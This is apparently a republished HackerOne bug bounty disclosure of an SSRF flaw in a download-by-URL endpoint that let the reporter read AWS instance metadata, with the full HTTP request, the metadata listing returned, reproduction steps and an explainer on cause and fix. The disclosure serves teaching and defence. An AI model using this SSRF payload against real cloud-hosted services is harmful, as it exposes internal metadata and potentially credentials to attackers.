Skip to content
SSRF Disclosed report Beginner

SSRF ACCESS AWS METADATA - █████

A download-by-URL endpoint accepted a user-supplied URL and fetched it server-side without restriction, so the server could be pointed at the cloud instance metadata service. An attacker could read internal metadata such as instance identity and network details.

0xr3dhunt Follow

Originally disclosed on HackerOne

  • Triaged in 31 hours
  • Fixed in 31 days
  • Disclosed after 2 months

Hi Security Team, Based on https://hackerone.com/hack-us-h1c challenge, I have urgent vulnerability and the challenge doesn't accept reprots for now 1:56 AM . I have found a SSRF Vulnerability which allow access to the AWS metadata, using Parameter ?url= as shown blew An attacker can tunnel into internal networks and access sensitive internal data such as AWS meta data information.

. Http Request

HTTP
GET /api/v1/download-url?url=http://█████/latest/meta-data/ HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Allow-Origin: *
Referer: https://████/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close


. Http Response

HTTP
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Mon, 04 Jul 2022 05:42:12 GMT
Content-Type: text/plain
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
Front-End-Https: on
Content-Length: 313

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

. . SCREEN SHOT ████ . .

Impact

SSRF Vulnerability Remote Access to AWS metadata

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

1 - Visit https://██████████ 2 - Press 'Import from URL' Button & Enter SSRF Payload in the Dialog Box 3 - Intercept the Request & observe the response

Suggested Mitigation/Remediation Actions

Sanitize user supplied input in paramter ?url= Block access to internal networks

The original report as published on HackerOne, by 0xr3dhunt. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the URL parameter was passed to a server-side fetcher with no allowlist or block on internal and link-local addresses.

Impact

An attacker could reach internal networks and read cloud instance metadata, which may expose sensitive configuration.

What the attacker needed

Access to the import feature; no authentication stated

The fix

The endpoint should validate the supplied URL and block requests to internal and link-local addresses, ideally with an allowlist of permitted hosts.

How it was found

  1. Open the site's import feature.
  2. Choose 'Import from URL' and enter a URL pointing at the metadata address.
  3. Intercept the resulting request and inspect the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site had a feature that fetched a web address for you. The server did the fetching, so it could also be told to fetch addresses only reachable from inside the company network, including a special cloud address that lists details about the server itself. That is called server-side request forgery: making someone else's server send requests on your behalf.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.